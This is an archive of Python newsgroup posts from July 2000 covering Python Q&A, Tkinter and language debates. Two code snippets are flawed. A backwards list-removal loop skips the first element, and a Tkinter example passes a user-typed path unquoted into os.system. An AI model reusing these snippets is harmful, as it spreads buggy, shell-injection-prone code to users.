On Wed, 26 Jul 2000, Manfred Pisecky wrote:

> Hello everyone!
> 
> I have to delete a bundle of files, e.g. *.txt in a portable way (it
> must work for Linux and NT). 

Use the glob module, and os.unlink

--
Moshe Zadka <moshez at math.huji.ac.il>
There is no IGLU cabal.
http://advogato.org/person/moshez




From to_get_my_address at see.my.signature  Wed Jul 26 21:07:07 2000
From: to_get_my_address at see.my.signature (Greg Ewing)
Date: Thu, 27 Jul 2000 14:07:07 +1300
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net> <963990339.783645@marvin> <8l4h60$jnk$2@gxsn.com> <8l4isr$l58$2@newshost.accu.uu.nl> <8l57fc$vi8$1@fermi.tro.net> <8l6pgt$fmc$1@newshost.accu.uu.nl> <8l6qt4$89p$1@fermi.tro.net> <8l74db$hs6$1@newshost.accu.uu.nl> <8l7f69$bon$1@fermi.tro.net> <kBJd5.35887$6y5.24003017@news2.rdc2.tx.home.com> <8ljlp9$99m$1@desig-bs01-s04.adtranzsig.de>
Message-ID: <397F8B3C.6DF7EFB9@see.my.signature>

"Rainer Deyke" <root at rainerdeyke.com> schrieb im Newsbeitrag
news:kBJd5.35887$6y5.24003017 at news2.rdc2.tx.home.com...
> Sounds messy and slow.  An indirect function call per instruction?  Could
> be slower than Python,

If you look at all the stuff Python actually does to execute
a typical bytecode, you'll be amazed that it's as *fast* as 
it is!

-- 
Greg Ewing, Computer Science Department, 
University of Canterbury, New Zealand
To get my email address, please visit my web page:
http://www.cosc.canterbury.ac.nz/~greg


From fiona at sitegnome.com  Sun Jul  9 08:26:08 2000
From: fiona at sitegnome.com (Fiona Czuczman)
Date: 9 Jul 2000 12:26:08 -0000
Subject: [FAQTS] Python Knowledge Base Update -- July 9th, 2000
Message-ID: <20000709122608.22157.qmail@synop.com>

Hi Guys,

The latest entries into http://python.faqts.com

regards,

Fiona Czuczman


## Unanswered Questions ########################################


-------------------------------------------------------------
Is there a utility to convert module docstrings to HTML for nice documentation?
http://www.faqts.com/knowledge-base/view.phtml/aid/4610
-------------------------------------------------------------
Stu D



## New Entries #################################################


-------------------------------------------------------------
Formatted printing of numbers with significant digits
http://www.faqts.com/knowledge-base/view.phtml/aid/4596
-------------------------------------------------------------
Russell Wallace


# Number formatting functions by Russell Wallace

# Includes inserted commas, specifiable number of decimal places,
# and the ability to specify a number of significant digits before or
# after the decimal point.

# This code is in the public domain.

def format(x, sigdigits=0, decimals=0):
	if sigdigits == 0:
		sigdigits = 16

	sign = ""
	if x < 0:
		sign = "-"
		x = -x

	decpart, intpart = modf(x)
	s = sign + formatnat(intpart) + str(decpart)[1:]

	s = strtocharlist(s)
	count = 0
	counting = 0
	propflag = 0
	propindex = 0
	for i in range(len(s)):
		c = s[i]
		if c in digits:
			if c != "0":
				counting = 1
			if counting:
				count = count + 1
			if count > sigdigits:
				if not propindex:
					propflag = s[i] >= "5"
					propindex = i
				s[i] = "0"

	if propflag:
		prop(s, propindex)

	s = charlisttostr(s)
	while (s[len(s) - 1] == "0"):
		s = s[:-1]

	i = index(s, ".") + 1
	n = len(s) - i
	s = s + "0" * (decimals-n)

	if s[len(s) - 1] == ".":
		s = s[:-1]
	return s

def formatnat(x):
	s = ""
	count = 0
	while 1:
		c = fmod(x, 10)
		c = str(int(c))
		if not count and s != "":
			s = "," + s
		count = (count + 1) % 3
		s = c + s
		x = floor(x / 10)
		if x == 0:
			break
	return s

def prop(s, i):
	while i:
		i = i - 1
		while i >= 0 and not (s[i] in digits):
			i = i - 1
		if i < 0:
			break
		d = int(s[i]) + 1
		if d == 10:
			d = 0
		s[i] = str(d)
		if d:
			return
	i = 0
	if s[0] == "-":
		i = 1
	if countdigits(s) % 3 == 0:
		s.insert(i, ",")
	s.insert(i, "1")

def countdigits(s):
	n = 0
	for c in s:
		if c == ".":
			break
		if c in digits:
			n = n + 1
	return n

def formatmoney(x):
	return "$" + format(x, 0, 2)

def formatpercent(x, y):
	x = float(x) / y
	x = x * 100
	return format(x) + "%"


-------------------------------------------------------------
How can I remove a number of items from a list using a loop?
http://www.faqts.com/knowledge-base/view.phtml/aid/4623
-------------------------------------------------------------
Fiona Czuczman
Bjorn Pettersen

the obvious way:

  for x in list[:]:  # create a copy
    if f(x):
      list.remove(x)

perhaps faster:

  for i in range(len(list)-1, 0, -1):
    x = list[i]
    if f(x):
      list.remove(x)

that traverses the list backwards, so should be more resistant to the
list changing...


## Edited Entries ##############################################


-------------------------------------------------------------
How can I tokenize a string using more than 1 separator?
http://www.faqts.com/knowledge-base/view.phtml/aid/3140
-------------------------------------------------------------
Fiona Czuczman
David Goodger,Mikael Olofsson

use re.split:

>>> import re
>>> s = "one,two;three:four,five;six:seven"
>>> re.split("[,;:]", s)
['one', 'two', 'three', 'four', 'five', 'six', 'seven']
>>> sep = re.compile("[,;:]")
>>> sep.split(s)
['one', 'two', 'three', 'four', 'five', 'six', 'seven']

---- Alternately ----

seps = ':|/'
mystring = 'foo:bar|baz/zot'
newstring = string.join(map(lambda x, seps=seps:(x+seps[0])[x in 
seps],a),'')
result = string.split(newstring,seps[0])


-------------------------------------------------------------
Why do some strange characters appear instead of norwegian characters in GUI of pythonwin build 132?
http://www.faqts.com/knowledge-base/view.phtml/aid/4590
-------------------------------------------------------------
Nils Otto Johansen, Fiona Czuczman
Neil Hodgson

I'm not sure about 132 but 131 defaults to using Unicode for editing
Python source code and the interactive window. To stop this, open
Pythonwin\pywin\scintilla\view.py, find the OnInitialUpdate method and
comment out the two lines under "# Enable Unicode if we can". Save the 
file, shut down Pythonwin and restart it and see if this fixes the 
problem.






From thiele at muc.das-werk.de  Mon Jul 10 09:10:52 2000
From: thiele at muc.das-werk.de (Thomas Thiele)
Date: Mon, 10 Jul 2000 15:10:52 +0200
Subject: reference counter and __del__
Message-ID: <3969CB5C.A860D124@muc.das-werk.de>

1. I have the problem that not all of my objects are destroyed and I
don't know where and why, so I wonder if there a way to check out from
where and how many references to a special object exists? 

2. When __del__ is called the object will be detroyed, correct?

3. Why is __init__ not called when I unpickle an object? 

Thomas


From paul at prescod.net  Fri Jul 21 07:30:22 2000
From: paul at prescod.net (Paul Prescod)
Date: Fri, 21 Jul 2000 06:30:22 -0500
Subject: Name valid outside function, but error name inside function
References: <I%Vd5.135$kp4.1588@m2newsread.uni2.es>
Message-ID: <3978344E.AD4D5652@prescod.net>

"Fernando Rodr?guez" wrote:
> 
>...
> This raises a name error:
> def func2():
>     A = A + 'hi'    # this line causes the error
>     print A

Does it really raise a NameError? Or an UnboundLocalError?

You probably want

def func2():
     global A
     A = A + 'hi'    # this line causes the error
     print A

You probably know that "from X import *" is considered bad style, BTW.
Also, I'm not sure if the code I wrote will do what you want it to.
Assigning to A in one module rebinds it in that module. I don't think it
will have any effect in the other module.

-- 
 Paul Prescod - Not encumbered by corporate consensus
"Hardly anything more unwelcome can befall a scientific writer than 
having the foundations of his edifice shaken after the work is 
finished.  I have been placed in this position by a letter from 
Mr. Bertrand Russell..." 
 - Frege, Appendix of Basic Laws of Arithmetic (of Russell's Paradox)



From loewis at informatik.hu-berlin.de  Tue Jul 11 08:50:52 2000
From: loewis at informatik.hu-berlin.de (Martin von Loewis)
Date: 11 Jul 2000 14:50:52 +0200
Subject: reference counter and __del__
References: <3969CB5C.A860D124@muc.das-werk.de>
Message-ID: <p6qu2dw25lf.fsf@informatik.hu-berlin.de>

Thomas Thiele <thiele at muc.das-werk.de> writes:

> 1. I have the problem that not all of my objects are destroyed and I
> don't know where and why, so I wonder if there a way to check out from
> where and how many references to a special object exists? 

Use sys.getrefcount, or the garbage collector included in the current
development version of Python (which may become Python 2 later this
year).

> 2. When __del__ is called the object will be detroyed, correct?

Vice versa. When the object is going to be destroyed, then __del__ is
invoked. Actually, when __del__ brings the object back into life, it
will not be destroyed.

> 3. Why is __init__ not called when I unpickle an object? 

a) __init__ is called when unpickling, provided __getinitargs__ is
   defined.
b) Since 1.5.x (for some x), __init__ is not normally called, because
   getting the init args right without __getinitargs__ is tricky. 
   Essentially, pickled objects were required to accept 0 arguments
   to __init__, which is often undesirable.

Regards,
Martin


From lordkaos at my-deja.com  Tue Jul 18 20:24:11 2000
From: lordkaos at my-deja.com (lordkaos at my-deja.com)
Date: Wed, 19 Jul 2000 00:24:11 GMT
Subject: Python in game development?
References: <v62d5.580$GQ1.26151@newsread2.prod.itd.earthlink.net>
Message-ID: <8l2ses$kei$1@nnrp1.deja.com>

The company I worked for (Cinematix, a small development firm) developed
Revenant for Eidos and we had our own scripting language that ran the
gameplay logic. We had a lot of problems with speed, stability,
flexibility, and the designers who actually used the language were
sometimes left hanging with regards to functionallity. The lead
programmer came across Python a few years into the project (when it
would have been too late to utilize it) and mentioned that it could have
been tremendously beneficial to development of the game. I was a
programmer on the project and I can attest to that fact. Looking back I
would say it couldn't have been more than an extreme advantage if we had
known about Python beforehand. The game is complex enough and graphicly
intensive enough to require Asm/C++, but from a designer/artist's point
of view, they could have learned Python and used to contribute amazing
creativity to their specific parts of the project. Embedding Python as
the game's internal scripting language would have sped up development
and increased the game quality significantly. I hope Cinematix decides
to use Python in the future (and other companies that need a similar
scripting language).

In article <v62d5.580$GQ1.26151 at newsread2.prod.itd.earthlink.net>,
  "Mallor" <mallor at 3DProgrammer.com> wrote:
> Are any of you game developers out there using Python as your game
engine's
> embedded scripting language?  I am wondering what drove your decision
to use
> Python instead of other embeddable scripting languages?  I'd like to
hear what
> your overriding concerns were, and also what they are now, having put
Python to
> the test.
>
> --
> Cheers,             Infernal Troublemaker                    Troll
> Mallor              "By simple mistake, mortals the


Sent via Deja.com http://www.deja.com/
Before you buy.


From grey at despair.rpglink.com  Sat Jul 29 18:15:35 2000
From: grey at despair.rpglink.com (Steve Lamb)
Date: Sat, 29 Jul 2000 22:15:35 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <8lst4r02grr@news2.newsguy.com> <slrn8o444p.49c.grey@teleute.rpglink.com> <8luhso41ce8@news2.newsguy.com>
Message-ID: <slrn8o6lo2.f91.grey@teleute.rpglink.com>

On Sat, 29 Jul 2000 13:53:02 +0200, Alex Martelli <alex at magenta.com> wrote:
>Yes, so the latter is best when you have a single format you want to
>apply to several different variables at various point, the former is
>best when the names are fixed.  That's why Python supplies both.

    Excellent description except for one thing, I never said that the variable
names were fixed.  Take a look at Perl's ##foo, for example.  Well, more
accurately ${$foo}.  Again, just taking a pseudo-code, not a real lanauge.

>    "Here is a very %(adj)s %(noun)s!"
"Here is a very $$adj:$format $$noun:$format!"
>    "Ecco una %(noun)s molto %(adj)s!"
"Ecci una $$noun:$format molto $$adj:$format!"

>    print format % {'adj':adjective1, 'noun':noun1}
>    print format % {'adj':adjective2, 'noun':noun2}

    print format

    Adj and noun need to be assighed in either case.  Except when we do it
inline we can see what formatting goes with what.  It really is semantical in
nature since there is no different at all in function that I can find.  The
only difference is having to match up what is at the end of the string with
what is right there where you're looking at the moment.

>> "%d:0:0 %c:U %s %s %s %s %d %s %s %s \
>> %d:0:0!",$a,$b,$c,$d,$e,$f,$g,$h,$i,$j,$k

>>     What variable goes with what again?

>Yes, a format-string with named-placeholders does help with that, too.

    But not as much as just having the variables in line with the formatting
where reading is still the natural left to right (for us natives of European
lanauges) with all information presented where it must be.

>I'm very happy not _having_ to invent some arbitrary name when what
>I want to do is output one or more arbitrary expressions, computed
>on the fly, for example.  Naming has its place, but so does quiet
>anonimity...:-).

    Why do you need to place them at the end?

"1 + 1 = ",1 + 1:0:0, ",really, it is!"

    Again, fake language.  I don't see a need to have placeholders for simple
statements at the end when you can place those statements in line.

>Could be (I _am_, after all, a well-known sadomasochist!), but, if
>it were that, I think I'd be programming in C shell (hard to think
>of a more painful way to make a living; and yet there _were_ people
>writing scripts in it rather than the somewhat-less-painful Bourne
>shell, for reasons I've always found utterly unfathomable...).

    ESC-P comes to mind.  I find all shell scripts horrible.  Any time I need
to work on one I take the basic logic and rewrite in Perl.  Less need to have
to worry about globbing and proper escaping of everything and handing
different input/output expectations from different programs.  Sure, I'll use
grep on the command line but I'd rather see while(<>){m//;} in the script,
thank you.

-- 
         Steve C. Lamb         | I'm your priest, I'm your shrink, I'm your
         ICQ: 5107343          | main connection to the switchboard of souls.
-------------------------------+---------------------------------------------


From see at below  Sun Jul 30 02:31:57 2000
From: see at below (Paul Foley)
Date: 30 Jul 2000 18:31:57 +1200
Subject: Perl is worse! (was: Python is Wierd!)
References: <200007280137.LAA30715@envy.fulcrum.com.au> <slrn8o1vc0.vnr.grey@teleute.rpglink.com> <io12ososq8or6t6lgdsclgp5eob5rs8cd7@4ax.com> <slrn8o24mr.e7.grey@teleute.rpglink.com> <m24s5avgru.fsf@mycroft.actrix.gen.nz> <slrn8o2fgr.1e2.grey@teleute.rpglink.com> <4rj2osseh99vpqos0pvosoh84s5jq7sbs3@4ax.com> <slrn8o39hn.3ok.grey@teleute.rpglink.com> <iWhg5.2682$6E.684157@ptah.visi.com> <8lsca101hv4@news2.newsguy.com> <slrn8o4kkg.19t.ssthapa@ntcs-ip48.uchicago.edu> <QPLg5.2816$6E.738549@ptah.visi.com> <39838BAC.C855EDCB@san.rr.com>
Message-ID: <m2vgxoruw2.fsf@mycroft.actrix.gen.nz>

On Sun, 30 Jul 2000 01:54:55 GMT, Courageous  wrote:

>> >    Actually I think it would be easier for non-programmers to
>> >learn a language if it has strict typing.
>> 
>> I concur. In non-programming, life is strictly typed. Allowed
>> operations are determined by the type of the object. You can't
>> make a phone call on a waffle-iron.

> This is a conceptualization issue, and I suspect to a degree,
> false. If "x" is merely a label, one can imagine x labeling
> 3 or x labelling red quite easily. Your analogy works because

Yes, but you know what the labels "telephone" and "waffle iron"
conventionally refer to.  Certainly you can play Humpty Dumpty games
("words mean what I want them to mean"), and choose to use "waffle
iron" to mean what I mean by "telephone", and subsequently claim that
you _can_ make a phone call on a waffle iron, but that's not actually
disagreeing with what <unattributed author of the above> said.

-- 
C/C++/Java/Perl/etc are for people who want to make things that work.
Common Lisp is for people who want to make things that don't break.
                                                         -- Erik Naggum
(setq reply-to
  (concatenate 'string "Paul Foley " "<mycroft" '(#\@) "actrix.gen.nz>"))


From Rod.Haper at sage.nelesautomation.com  Fri Jul 14 19:04:43 2000
From: Rod.Haper at sage.nelesautomation.com (Rod Haper)
Date: Fri, 14 Jul 2000 18:04:43 -0500
Subject: atof problem.
References: <yUqb5.977$tI4.52638@bgtnsc05-news.ops.worldnet.att.net> <jfLb5.792$Ew5.18950@news6-win.server.ntlworld.com>
Message-ID: <396F9C8B.7E92B268@sage.nelesautomation.com>

Also make sure that your locale is not set to something useful - the
default is usually 'C' which leave most of the locale parameters unset. 
Here is an example of setting the locale to en_US showing how it sets
the various locale parameters:

>>>
>>> import locale
>>> locale.setlocale(locale.LC_ALL)
'C'
>>>
>>> locale.localeconv() 
{'grouping': [127], 'currency_symbol': '', 'n_sign_posn': 127,
'p_cs_precedes': 127, 'n_cs_precedes': 127, 'mon_grouping': [],
'n_sep_by_space': 127, 'decimal_point': '.', 'negative_sign': '',
'positive_sign': '', 'p_sep_by_space': 127, 'int_curr_symbol': '',
'p_sign_posn': 127, 'thousands_sep': '', 'mon_thousands_sep': '',
'frac_digits': 127, 'mon_decimal_point': '', 'int_frac_digits': 127}
>>>
>>> locale.setlocale(locale.LC_ALL, 'en_US')
'en_US'
>>>
>>> locale.localeconv()
{'grouping': [3, 3, 0], 'currency_symbol': '$', 'n_sign_posn': 1,
'p_cs_precedes': 1, 'n_cs_precedes': 1, 'mon_grouping': [3, 3, 0],
'n_sep_by_space': 0, 'decimal_point': '.', 'negative_sign': '-',
'positive_sign': '', 'p_sep_by_space': 0, 'int_curr_symbol': 'USD ',
'p_sign_posn': 1, 'thousands_sep': ',', 'mon_thousands_sep': ',',
'frac_digits': 2, 'mon_decimal_point': '.', 'int_frac_digits': 2}
>>>
>>> s = '123,456,789.2'
>>> s
'123,456,789.2'
>>> locale.atof(s)
123456789.2
>>>





richard_chamberlain wrote:
> 
> Hi William,
> 
> Yes you could use the locale module to do what you want:
> 
> import locale
> s="123,456,789.2"
> print locale.atof(s)
> 
> As Bjorn said you'll have to get the locale module from somewhere.
> 
> Otherwise do something like below:
> 
> import string
> def rcatof(num):
>     try:
>         flt=float(string.replace(num,',',''))
>         return flt
>     except:
>         return None
> 
> >>> import myScript
> >>> myScript.rcatof('123,456.2')
> 123456.2
> 
> Richard
> 
> William Dandreta <wjdandreta at worldnet.att.net> wrote in message
> news:yUqb5.977$tI4.52638 at bgtnsc05-news.ops.worldnet.att.net...
> > I am having a problem with the atof function. I tried to convert 1,142.00
> to
> > a float but the comma causes a problem. I resolved the problem by removing
> > the comma but there must be a better way.
> >
> > I looked in the documentation and there was mention of the $LANG
> > environmental variable but it did not tell haw to use it. Also, it
> mentioned
> > settings could be made using the functions in locale module. I tried to
> > import the locale module but I get an error message that the _locale
> module
> > doesn't exist.
> >
> > Anyone have a clue about this?
> >
> > Bill
> >
> >

-- 
+----------------------------------------------------------------------+
| Rod Haper, Senior Systems Analyst      |  Neles Automation           |
| Phone: 713-346-0652 - direct           |  SCADA Solutions, Inc.      |
|        713-939-0393 - fax              |  7000 Hollister             |
| Rod.Haper at sage.nelesautomation.com     |  Houston, Texas 77040, USA  |
+----------------------------------------------------------------------+


From cut_me_out at hotmail.com  Wed Jul 12 18:32:28 2000
From: cut_me_out at hotmail.com (Alex)
Date: 12 Jul 2000 18:32:28 -0400
Subject: What is UnboundLocalError for?
Message-ID: <etdhf9vt1xf.fsf@w20-575-115.mit.edu>

(Python 2.0 question.)

I was wondering what situations the UnboundLocalError exception is
intended to be thrown in.  I encountered it when I made a mistake like
this:

>>> f()
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 1, in f
UnboundLocalError: l
>>> 

This was much more confusing to me than a simple NameError, which is
what python 1.5 throws for the same mistake.  Perhaps I'm biased,
though.

Alex.


    


From arhodes at psionic.com  Mon Jul 17 12:33:18 2000
From: arhodes at psionic.com (Aaron Rhodes)
Date: Mon, 17 Jul 2000 11:33:18 -0500
Subject: Getting local IP address...
References: <8ko8qr$7cd$1@nnrp1.deja.com> <JfOb5.5078$lS2.71716@typhoon.we.rr.com>
Message-ID: <3973354E.87E1B221@psionic.com>

Here's a tremendously non-portable way to do it for 
Linux by reading it straight off the ethernet card...

import string,socket,fcntl
SIOCGIFADDR = 0x8915
ifname = 'eth0'
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
ifr = ifname+'\0'*(16-len(ifname))+chr(socket.AF_INET)+15*'\0'
r= fcntl.ioctl(s.fileno(),SIOCGIFADDR,ifr)
addr = string.join(map(str,map(ord,r[20:24])),'.')
print addr


Aaron
arhodes at psionic.com


Stephen Hansen wrote:
> 
>     Nevermind.
> 
>     I've discovered i'm intelligent enough to actually chcek Deja and get
> an answer so that i doin't have to spam ya'll with stupid questions :)
> 
>     Heh. :)
> 
> --S
> 
> Stephen Hansen <stephen at cerebralmaelstrom.com> wrote in message
> news:8ko8qr$7cd$1 at nnrp1.deja.com...
> > How do I go about getting my dynamic IP address? I want to make a
> > little program to check periodically (daily or so) and log the results
> > so I can determine how often my IP is getting shuffled. :)
> >
> > Thanks :)
> >
> > --Stephen
> >
> >
> > Sent via Deja.com http://www.deja.com/
> > Before you buy.


From shouldbe at message.com  Fri Jul  7 09:22:50 2000
From: shouldbe at message.com (Arinté)
Date: Fri, 07 Jul 2000 13:22:50 GMT
Subject: kinda of silly???
Message-ID: <KQk95.37423$NP5.1176528@newsread2.prod.itd.earthlink.net>

When you are embedding python in a c++ app, all arguments sent from python
to c++ in should function call should be parsed with PyArg_ParseTuple.  Is
that statement correct?

I could have swore someone a while back told me other wise.




From david_ullrich at my-deja.com  Tue Jul 18 11:12:37 2000
From: david_ullrich at my-deja.com (david_ullrich at my-deja.com)
Date: Tue, 18 Jul 2000 15:12:37 GMT
Subject: Changing the class of an instance
References: <3bRLJW$k02@openbazaar.net>
Message-ID: <8l1s4i$qhq$1@nnrp1.deja.com>

In article <3bRLJW$k02 at openbazaar.net>,
  cut_me_out at hotmail.com.bbs@openbazaar.net (Alex) wrote:
> >     I don't think "confusing" is the right word. Although I'm fairly
> > certain I won't get the words right: It destroys the...  maybe the
> > word is "encapsulation" or "modularity" or something - it means that
> > you cannot verify things are correct by just looking at things
> > locally.
>
> You're probably right, I don't know much of the jargon.
>
> > Not sure what sort of debugging we're referring to. If you're trying
> > to figure out how to do something, as opposed to writing code meant
to
> > be used later, that's different.
>
> True, that's what I was trying to do, so the changing of the class was
> only happening on a very limited and interactive level (and it still
got
> a bit confusing at times. :)
>
> > Possibly I missed it, but I haven't seen any reason given why
changing
> > __class__ is better than creating a new instance
>
> Well, if you want to do it by creating a new instance, you have to
make
> some sort of copy constructor.  Unless you automate the process so
that
> it copies every attribute of the instance, you are bound to forget one
> at some point.

   _If_ we're talking about real code meant to be actually used,
as opposed to temporary experimental code, then the code is
presumably tested at some point - the NameError should be
a hint that something's missing...

> Alex.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From db3l at fitlinxx.com  Fri Jul 21 18:58:44 2000
From: db3l at fitlinxx.com (David Bolen)
Date: 21 Jul 2000 18:58:44 -0400
Subject: iterating over lines in a file
References: <Uvqd5.21615$DZ4.69024@news.corecomm.net> <20000720124305.A1220@xyz.donetsk.ua> <slrn8ndk9n.gtf.scarblac-spamtrap@flits104-37.flits.rug.nl> <slrn8nemu7.fs6.cjc26@synecdoche.sowrong.org> <u1z0oeall.fsf@ctwd0143.fitlinxx.com> <slrn8nhd0o.j4i.cjc26@synecdoche.sowrong.org>
Message-ID: <uaefbytsr.fsf@ctwd0143.fitlinxx.com>

cjc26 at nospam.cornell.edu (Cliff Crawford) writes:

> That doesn't seem to be true--readlines() reads the whole file whether
> you specify a size argument or not.  For example:

You might want to try a larger sample - readlines() is documented that
the size value is a hint - it might be rounded up to some internal
buffer size, which I could easily imagine as being a few K.

At least on Windows, with Python 1.5.2, it appears to work in
multiples of about 8K.  That is, size values are rounded up to the
next multiple of 8K, and the total size of information returned will
be somewhat shy of that multiple depending on line length since it
only returns full lines.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/


From owen at astroNOJNK.washington.edu.invalid.bbs  Mon Jul 17 14:00:02 2000
From: owen at astroNOJNK.washington.edu.invalid.bbs (owen at astroNOJNK.washington.edu.invalid.bbs)
Date: 17 Jul 2000 18:00:02 GMT
Subject: Tkinter canvas resize question
Message-ID: <3bRKU3$ja5@openbazaar.net>

I have a Tkinter canvas (along with a few other widgets) in a window. I
want the canvas widget to resize whenever the window resizes (the other
widgets are fields with fixed height). Not a problem, so far.

But...I'd also like to resize the contents of the canvas whenever the
user resizes the window.

I have been catching the <Configure> event, but this is not very
satisfactory because I see it before the canvas does. I've been manually
configuring canvas to a new size, but this is potentially unstable -- if
I don't set exactly the size the frame wants, the frame will generate a
new <Configure> event, leading to many cycles of size changing.

What I'd really like is for the canvas to resize itself (i.e. perform
all the standard negotiations with its master) and then tell me it has
been resized, so I can redo its contents. Is there some easy way to do
this?

Saving this, is there some easy way to catch <Configure>, pass it to
canvas (as if I'd never intercepted it) and then ask canvas what size it
has become and redo its contents accordingly?

I do have John Grayson's book "Python and Tkinter Programming"; the info
is likely in there, but I haven't found it. I suspect I should also have
a complete Tk reference, and would welcome suggestions.

-- Russell

P.S. another useful thing would be to have a window that contained a
canvas of a particular aspect ratio (say 1:1, square). When the user
resized the window, the window would retain the newly requested height,
but the width would change as needed to give the canvas its desired
aspect ratio. Is this sort of thing possible, and what is involved?
Writing a new layout manager?


From johngrayson at home.com  Sat Jul 15 14:17:36 2000
From: johngrayson at home.com (John Grayson)
Date: Sat, 15 Jul 2000 18:17:36 GMT
Subject: Tkinter?
References: <Ep0c5.24126$6y5.18334880@news2.rdc2.tx.home.com>
Message-ID: <8kq9rl$ho7$1@nnrp1.deja.com>

In article <Ep0c5.24126$6y5.18334880 at news2.rdc2.tx.home.com>,
  "David L. Heald Jr." <blinocac1 at home.com> wrote:
> I'm writing a script that will act as a GUI interface to another
script, and
> I want to have file browsing ability. How do I call this in Tkinter?
I have
> looked through 2 different books, and a couple of help files and have
yet to
> find anything.
>
>

This is not really a Tkinter issue, since you can fire up a
file browser window from a simple Python program. However, it
may introduce some special problems if you're doing it from
a GUI. Therefore, here is some sample code to illustrate how
to do this for Windows and Solaris platforms. You would have
to adjust for other platforms. Note that if you're doing this
just for Unix, that you don't need to thread: you can just
fire off the command in the background...

from Tkinter import *
from tkSimpleDialog import *
import sys, os, thread


class App:
    def __init__(self, master):
        self.master = master
        Label(master, text='Browsing:').pack(side=LEFT,
                                             padx=4, pady=15)
        self.entry  = StringVar()
        Entry(master, width=50, bg='gray', textvariable=self.entry,
              state=DISABLED).pack(side=LEFT, padx=15, pady=15)
        Button(master, text='Browse...',
               command=self.browse).pack(side=BOTTOM)

    def browse(self):
        path  = askstring("Browse", "Enter directory")
        self.entry.set(path)

        browser = Browse(folder=path)

class Browse:
    def __init__(self, folder='.'):
        if sys.platform == 'win32':
            cmd = 'Explorer %s' % folder
        else:
            cmd = 'dtfile -folder %s' % folder
        thread.start_new_thread(self.doIt, (cmd,))

    def doIt(self, where):
        os.system(where)


root = Tk()
display = App(root)
root.mainloop()

Hope this helps to get you started.

BTW: Chapter 18 of Python and Tkinter Programming covers
handling asynchronous events and things that block the
mainloop...

    John Grayson


Sent via Deja.com http://www.deja.com/
Before you buy.


From olczyk at interaccess.com  Sun Jul  9 23:12:29 2000
From: olczyk at interaccess.com (Thaddeus L. Olczyk)
Date: Mon, 10 Jul 2000 03:12:29 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com>
Message-ID: <3968fadf.299209218@nntp.interaccess.com>

On Sat, 01 Jul 2000 05:10:50 GMT, Courageous <jkraska1 at san.rr.com>
wrote:

>
>> Virtually all SUN has to do is pull some of the demo programs out of
>> Microsofts manual. Write the equivalent code in python, perl, C++,
>> pascal, and a few other languages. Compare them side by side. A fairly
>> sophisticated person can see that it's resemblance to Java. Look at
>> the law judges are sophisticated enough. Given that Microshit is being
>> sued by SUN for their abuse of Java, I don't think it will be hard at
>> all for  SUN to convince a judge that all C# is, is a variant of Java
>> with tons of proprietary crap glued on and the label changed.
>
>And all Java is is a variant of the C++ language with the kitchen
>think glued on and the label changed. Hence the ridiculousness of
>the claim. Sun would be stupid to even try.
>
Nope. Microshit is stupid to even try to copy Jva. I hold up a page of
Java code and a page ofC++ and tell you which is which. Java is not a
variant of C++. Java is a very different variant of C . Otherwise it
would not be so popular. After all, if it were a C++ variant why would
people go to all the trouble to switch from C++.

C# OTOH is a clear rip off of Java. It is hard if not impossible to
take a C# program remove all "Microsoft Enhancements" ( meaning
all the features that tie it to COM ) and have it not look like a Java
program. I suggest that if you want to continue Astroturfing, you
learn something about programming language syntax.





From rob at hooft.net  Mon Jul 24 03:22:35 2000
From: rob at hooft.net (Rob Hooft)
Date: 24 Jul 2000 09:22:35 +0200
Subject: process id from os.system
References: <3977482B.478D2754@sec.noaa.gov>
Message-ID: <m2n1j8801w.fsf@hooft.net>

>>>>> "jv" == j vickroy <jvickroy at sec.noaa.gov> writes:

 jv> How can I obtain the process id for a program launched via
 jv> os.system (theProgram) ?

 jv> I would like to do this portability (Unix, Windows).

 jv> Presently on Unix, I'm getting the pid by parsing the output
 jv> from:

 jv>   "ps -ef | grep theProgram"

 jv> but that seems messy and unreliable since "theProgram" may be
 jv> truncated in the output from ps.

Yikes, this is not really portable across unices either.
You may want to look at my "more intelligent os.system" in the
form of the "task.py" module. This represents a subprocess of
os.system as an object. You can "Wait" for the object or "Kill"
it. Unix only.

  http://starship.python.net/crew/hooft/

Rob


-- 
=====   rob at hooft.net          http://www.hooft.net/people/rob/  =====
=====   R&D, Nonius BV, Delft  http://www.nonius.nl/             =====
===== PGPid 0xFA19277D ========================== Use Linux! =========


From amused at webamused.com  Sat Jul 29 11:49:00 2000
From: amused at webamused.com (Joshua Macy)
Date: Sat, 29 Jul 2000 15:49:00 GMT
Subject: Perl is worse!
References: <LNBBLJKPBEHFEDALKOLCEEINGMAA.tim_one@email.msn.com> <slrn8o2ft4.1e2.grey@teleute.rpglink.com> <OLgg5.2637$6E.681698@ptah.visi.com> <slrn8o397m.3ok.grey@teleute.rpglink.com> <8lse9j01oti@news2.newsguy.com> <slrn8o3jap.49c.grey@teleute.rpglink.com> <slrn8o42r6.dti.wtanksle@dolphin.openprojects.net> <slrn8o449h.49c.grey@teleute.rpglink.com> <slrn8o4l9e.md1.wtanksle@dolphin.openprojects.net>
Message-ID: <3982F04D.74FCF41C@webamused.com>

William Tanksley wrote:
> 
> 
> You consider "automagic" an insult?  I've never HEARD of such a thing.
> Please at least *inform* us before you take offence.  Note that your
> "taking offence" (which included an accusation that the entire Python
> community was a disgrace to the language they support) paragraph was not
> anywhere NEAR to any use of the word "automagic", so left no possibility
> of figuring out why you were offended.
